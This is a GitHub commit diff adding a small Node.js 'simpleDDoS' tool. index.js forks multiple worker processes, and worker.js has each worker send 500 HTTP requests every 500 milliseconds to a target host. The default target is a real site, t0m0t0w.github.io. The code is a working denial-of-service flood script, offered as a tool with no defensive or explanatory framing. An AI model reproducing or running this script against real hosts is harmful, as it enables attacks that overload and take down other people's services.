This commit is contained in:
Boof 2023-02-28 13:59:23 +01:00 committed by GitHub
parent c4172edbf3
commit 1ddd60cc14
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
3 changed files with 67 additions and 0 deletions

1
other/ddos/index.html Normal file
View File

@ -0,0 +1 @@
<script src="index.js" type="module"></script>

29
other/ddos/index.js Normal file
View File

@ -0,0 +1,29 @@
import cluster from 'cluster'
import { red, cyan, blue } from 'colorette'
export const simpleDDoS = (threads = 5, host = 'https://t0m0t0w.github.io', amount = 500, interval = 500) => {
// Spawn main process
cluster.setupMaster({
exec: `${process.cwd()}/worker.js`,
args: [host, amount, interval]
})
// Count threads
let threadsCount = 0
for (let i = 0; i < threads; i++) {
cluster.fork()
threadsCount++
}
cluster.on(
'exit',
(worker, code, signal) =>
void code !== 0 &&
console.log(
red(`
Worker ${worker.process.pid} died. Before the death he said ${signal}.`)
)
)
}

37
other/ddos/worker.js Normal file
View File

@ -0,0 +1,37 @@
import { red, blue } from 'colorette'
import fetch from 'node-fetch'
// Count errors & successful requests
let errors = 0,
success = 0,
errorMessages = []
function worker(host, amount, interval) {
// Send requests with interval
setInterval(() => {
for (let i = 0; i < amount; i++) {
let isFailedRequest = false
fetch(host)
.catch((err) => {
if (err) {
if (!errorMessages.includes(err.code)) {
errorMessages.push(err.code)
console.log(`Error: ${red(err)}`)
}
isFailedRequest = true
errors++
}
})
.then(() => {
if (!isFailedRequest) {
success++
}
isFailedRequest = false
})
}
console.log(`Errors: ${red(errors)} Success: ${blue(success)}`)
}, interval)
}
worker(process.argv[2], process.argv[3], process.argv[4])